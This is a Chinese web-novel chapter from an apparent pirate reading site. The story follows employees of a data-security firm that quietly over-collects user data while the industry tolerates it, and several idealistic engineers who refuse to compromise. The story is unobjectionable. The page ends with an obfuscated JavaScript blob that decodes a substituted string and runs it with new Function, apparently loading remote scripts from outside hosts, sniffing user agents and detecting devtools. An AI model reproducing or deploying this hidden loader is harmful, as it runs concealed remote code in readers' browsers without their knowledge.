首页
前传第174章 业内默许,乱
返回
关灯 护眼:关 字号:小

前传第174章 业内默许,乱象愈演愈烈

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    前传第174章业内默许,乱象愈演愈烈(第1/2页)
    江城高新区的夜色像一层薄灰,蒙在连片写字楼的玻璃幕墙上。
    荆棘科技十二层的灯火依旧没有熄灭,昨夜那场会议上被搁置的安全隐患,如同投入深水的石块,只泛起转瞬即逝的涟漪,便彻底沉入水底,再也没有人主动提起。
    老魏把那份标记着红色高危预警的风险报告锁进办公桌最底层的抽屉。金属抽屉合上的闷响,像是一声无声的叹息。
    他在数据安全行业摸爬了十二年,见过太多项目为进度让步,为营收妥协,可像荆棘科技这样,把牺牲用户权益当成常态化手段的公司,依旧让他心底发凉。
    白天部门早会,产品经理直接下达排期,优先迭代皮肤样式、一键体检动画、营销弹窗组件,底层脱敏模块的整改被无限延后。口头给出的说辞冠冕堂皇:先保证市场份额,拿到下一轮融资,资金充裕之后再回头补安全短板。
    “先活下来。”
    短短四个字,成了所有妥协最体面的借口。
    老魏坐在工位上,电脑屏幕还停留在第三方机构的测评页面。后台监测数据清清楚楚,盾卫产品的超限采集还在持续运转,无数普通用户的设备日志、浏览轨迹、应用行为,源源不断归集到荆棘科技的服务器集群。这些数据不会被明码标价对外倒卖,却会被拆解、标签化,生成精细的用户画像,卖给广告服务商,转化成一笔又一笔实打实的营收。
    法律条文的缝隙被充分利用,冗长晦涩的用户协议就是最好的挡箭牌。绝大多数普通用户下载软件时,只会飞快勾选同意,没有人会逐字读完几千字的授权条款。他们下载这款软件,本意是想要给自己的手机电脑装上一道防护锁,到头来,自己的行为痕迹反倒成了别人变现的资源。
    老魏抬手揉了揉发胀的太阳穴。
    不是没有动过辞职的念头。可人到中年,房贷、老人看病、孩子的教育开支,一座座大山压在肩头。裸辞的代价太过沉重。整个行业大环境摆在眼前,又有多少家企业愿意不计成本,优先守护看不见的用户安全?
    不少同行公司,其实都在做相似的事情,只是程度轻重不同。
    这是行业心照不宣的潜规则。
    这时企业微信弹出同事的消息,是市场部的同事发来的最新捷报。
    盾卫新版本上线仅仅一周,信息流广告铺遍短视频、资讯平台。主打一句极具煽动性的宣传语:一键隔绝信息泄露,守护你的数字隐私。投放预算砸得毫不手软,新增用户再次迎来暴涨。
    截图附带后台增长曲线,陡峭上扬,看着格外漂亮。
    底下附和的消息一条接着一条,全是一片欢欣鼓舞。没有人提及后台潜藏的漏洞,没有人关心那些被悄悄采集的数据。在互联网行业,亮眼的增长数据,就是一切话语权的来源。
    老魏看着屏幕,指尖悬在键盘上方,最终什么也没有回复。
    他望向办公区,身边来来往往的同事,大多也并非本性恶劣。底层的开发、测试、运营,拿着一份不算丰厚的薪资,完成上级下达的任务。高层定下方向,中层执行落地,基层员工只需照章办事。风险距离他们遥远,月度KPI、季度绩效、年终奖,才是触手可及的现实。
    就算有人隐约察觉到不对劲,也大多选择闭口不言。多一事不如少一事,直言风险,非但不会改变现状,反而容易被扣上拖慢业务进度的帽子,影响自己的职场前途。
    个体的清醒,在整个行业的洪流面前,渺小得近乎可笑。
    荆棘科技之外,整个赛道的风气,正在一点点滑向功利的深渊。
    小型创业团队辛辛苦苦打磨出来的加密组件,被几家头部公司换皮改造,稍加包装就变成自家的核心产品;开源社区开发者无偿贡献的防护算法,被拿来商用牟利,原作者得不到一分回报;部分安全厂商,不再专注于抵御风险,转而贩卖焦虑,制造恐慌,以此诱导普通用户下载付费。
    劣币驱逐良币,正在真实上演。
    守规矩的小团队,要投入巨大人力物力打磨底层安全,研发周期漫长,烧钱速度快,没有充足预算做营销投放,很难被大众看见。反观投机者,抄袭换皮,重营销轻技术,靠着流量打法快速圈占用户,轻易拿到资本的青睐。资本又会继续加注,进一步放大他们的优势,挤压踏实做事团队的生存空间。
    圈子内部的行业交流会,私下的酒局饭局,大家心里都明镜一样。
    有人会半开玩笑提起某某公司采集尺度过大,某某产品的底层漏洞一堆。可说笑过后,举杯碰盏,依旧互相合作,互通资源。很少有人愿意站出来公开撕破脸皮。
    大家都活在这套规则之下,谁也不想成为破坏游戏的那个人。
    举报揭发的代价太高。得罪手握资本的同行,很可能意味着自己在这个行业的路直接被堵死。多一事,不如少一事。默许,渐渐变成大多数人的选择。
    距离荆棘科技几公里之外,另一片产业园,龙胆草依旧泡在工位上。
    已经是夜里十点多,大厂办公区大半座位已经空了,只剩下少数几个还在加班的技术人员,敲击键盘的声音断断续续。
    桌面上摊开厚厚的一叠行业调研资料,还有几份匿名流出的第三方深度测评报告。为了看清行业真实生态,这段时间,龙胆草花了大量业余时间,搜集市面上主流民用安全软件的实测数据。
    不看不知道,一细看,遍地隐患。
    荆棘科技的盾卫只是其中一个典型。还有好几家有一定知名度的厂商,都存在授权模糊、超限采集、防护模块偷工减料的问题。只是各家程度不同,有的做得隐蔽,有的更加肆无忌惮。
    他点开一份用户反馈,是普通网民在网络社区写下的亲身经历。
    一个普通的上班族女生,频繁接到装修、网贷的骚扰电话。怀疑个人信息泄露,到处找防护工具,下载了两款打着隐私保护旗号的软件。结果安装之后,骚扰来电非但没有减少,各类精准推送广告反而铺天盖地涌过来。她不懂技术,始终想不通问题究竟出在哪里。
    龙胆草一字一句读完那段文字,心口沉沉的。
    普通人是整个数字世界里最弱势的群体。他们看不懂晦涩的代码,读不完动辄上万字的用户协议,没有能力检测软件后台的行为。面对五花八门的产品宣传,只能凭着字面介绍去信任。
    他们以为下载的是保护自己的盾牌,殊不知有些盾牌本身,就布满缝隙,甚至会反过来窥探使用者。
    技术本身没有善恶,可掌控技术的人,会做出不同的选择。
    “当整个行业都在默许灰色地带,坚守底线的人,反而会显得格格不入。”
    龙胆草低声自语,伸手端起早已凉透的玻璃杯,抿了一口白水。
    (本章未完,请点击下一页继续阅读)前传第174章业内默许,乱象愈演愈烈(第2/2页)
    这段时间,他创业的构想,在脑海里越来越清晰,但现实的重量,也一次次压过来。
    他很清楚,倘若真的踏出那一步,要面对的绝不只是技术难题。市场已经被这些走捷径的对手抢占,资本偏爱短期爆发的增长故事,自己想要做一款把用户权益放在第一位、拒绝灰色变现的产品,前期会很难,很难获得市场的认可。
    没有花哨的营销噱头,不做超限采集,不靠用户数据换取广告收益,意味着会舍弃掉互联网行业最成熟的变现路径。在别人疯狂跑马圈地的时候,自己要沉下心,一点点啃底层加密算法,打磨安全防护逻辑。慢,是注定的。
    慢,就意味着要承受巨大的生存压力。
    可有些念头一旦生根,就再也无法压制。
    龙胆草打开自己的私人文档,光标落下,继续书写那些只属于自己的思考。
    真正的数据安全,不该建立在消耗普通人的基础之上。技术的归宿,应当是守护,不是收割。哪怕这条路走得慢一点,难一点,总该有人去试一试。
    文档里,还没有“五彩绫镜”这个名字。那还属于遥远的未来。此刻只有一堆零散的构想,加密逻辑的草稿,对产品底线的一条条设定。没有团队,没有资金,没有办公场地,仅仅是一个理想主义者,在深夜写字楼里,悄悄种下的一颗种子。
    手机屏幕亮起,是行业老同学发来消息,转发了一篇财经快讯。荆棘科技完成B轮融资,数额不菲,一众知名投资机构争相入局,新闻通稿铺天盖地。
    通稿里极尽溢美之词,夸赞创始人周衍眼光独到,团队执行力强悍,短短数年闯出一片天地,立志要守护亿万国人数字隐私,打造国内顶尖的数据安全民族企业。
    光鲜亮丽的新闻版面之下,藏着抽屉里那份无人问津的风险报告。
    老同学发来一句感慨:“同样做安全赛道,人家风生水起,我们埋头写代码的,反倒显得落伍了。”
    龙胆草看着屏幕,没有回复。
    外人看见的,永远是融资、估值、用户规模这些光鲜指标。那些藏在后台、看不见的代价,普通大众无从知晓。
    他关掉网页,把注意力重新落回调研文档。
    同一个城市的另外一隅,曹辛夷还在大厂高层会议室。
    刚刚结束一场跨部门博弈,她作为运营条线的核心骨干,刚刚处理完一场公关危机。公司一款产品被爆出过度收集用户信息,舆论发酵,内部各个部门互相推诿,最后是曹辛夷出面,权衡各方,拿出折中方案,平息风波。
    走出会议室,走廊灯光惨白,高跟鞋踩在地砖上发出清脆的声响。
    她见识过太多次这样的场面。出事之后,优先考虑的不是整改根源,不是补偿受到影响的用户,而是如何压制舆论,如何把公司的损失降到最低。资本的逻辑永远优先于道义。
    她能力出众,一路晋升,手握实权,外人眼里年轻有为,前途不可限量。可越是站得高,越能看清光鲜外壳之下的内里。
    她见过理想主义的技术人员,提出风险预警,却被业务的增长目标压下去;见过明明可以做得更稳妥的产品,为了赶上线节点,带着隐患匆匆推向海量用户。
    很多时候,个人的力量,很难扭转已经成型的企业逻辑。
    她靠在走廊窗边,望向远处城市的万家灯火,心底那份倦怠感,又一次漫上来。她开始忍不住去想,难道商业与底线,注定只能站在对立面吗?
    此刻的她,还没有和龙胆草正式深交。只是曾经在一次行业沙龙有过简短交谈,那个沉默内敛的理工男生,谈及技术向善时眼里的光亮,给她留下很深的印象。那一点微弱的共鸣,被她悄悄收在心底,静静观望,等待未知的时机。
    城市另一头,姚家租住的公寓。
    客厅灯光柔和,姚厚朴坐在桌边调试代码,姚浮萍裹着简单的针织外套,对着笔记本屏幕,沉浸在算法的世界里。外界行业的喧嚣、资本的追捧、同行的投机套利,好像都和这个少女隔了一层厚厚的屏障。
    兄妹二人打磨的初代加密算法还在迭代优化。他们拒绝资本的变现邀约,坚持免费测试,一点点修补漏洞。姚浮萍不在乎外界的融资神话,她只关心代码逻辑是否足够严密,能不能真正做到保护数据。
    姚厚朴偶尔会刷到荆棘科技融资的新闻,扫一眼便划过去。
    “外面热热闹闹,都在拼规模拼增速。”姚厚朴轻声开口,“像我们这样闷头打磨底层,在旁人看来,未免太过笨拙。”
    姚浮萍视线没有离开屏幕,指尖继续敲击键盘,语气淡淡的,却异常坚定。
    “技术如果要靠牺牲别人来换热闹,那不如不要。”
    简单一句话,是她很早便立下的信条。
    与此同时,距离这里不远的出租小屋,林晚正坐在书桌之前。
    经历过毁灭性的职业打击之后,她已经蛰伏许久。曾经明媚张扬的锋芒被磨平,性格变得内敛沉默。没有追逐市面上的高薪岗位,她沉下心,一遍遍复盘当年事故的全部细节,翻阅海量安全文献,反复做渗透测试。
    行业愈演愈烈的乱象,她全都看在眼里。看见不少厂商重营销轻安全,看见普通人因为信息泄露承受困扰,她心底那份想要守护普通用户的公益念头,愈发清晰。
    只是过去的伤疤还横亘心底,曾经的失误像一根刺,时时刻刻提醒她,畏惧再次出错。她还没有做好重新踏入核心战场的准备,只能安静沉淀,积蓄力量。
    还有九里香,奔波在人力资源一线。
    见过太多职场委屈,新人背锅,管理者的PUA,制度带来的不公。她依旧在默默记录职场百态,帮扶弱势的基层员工,在自己有限的权限之内,做一点微小的破冰。她盼望着有朝一日,可以拥有更大的平台,去搭建一套更公平的职场体系。
    六个未来会并肩作战的人,此刻散落在江城不同的角落。各自经历困顿,各自坚守本心,彼此尚未真正相逢。
    而荆棘科技,乘着行业默许的灰色浪潮,拿着新到手的融资,准备更进一步扩张版图。资本的加持之下,他们的野心不再局限于民用安全市场,开始把目光投向企业级加密技术,四处搜寻有价值的自研成果,其中,就包括市面上还在雏形阶段的各类国产加密算法。
    风暴正在悄然酝酿。
    虚假繁荣的行业表象之下,漏洞、贪婪、理想、隐忍,全部交织在一起。乱象愈演愈烈,可总还有一些不肯妥协的人,在浪潮之中,守住属于自己的那一寸底线。
    夜色沉沉,江城入眠。属于龙胆科技与五彩绫镜的故事,还在遥远的前方,静静等待被开启。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();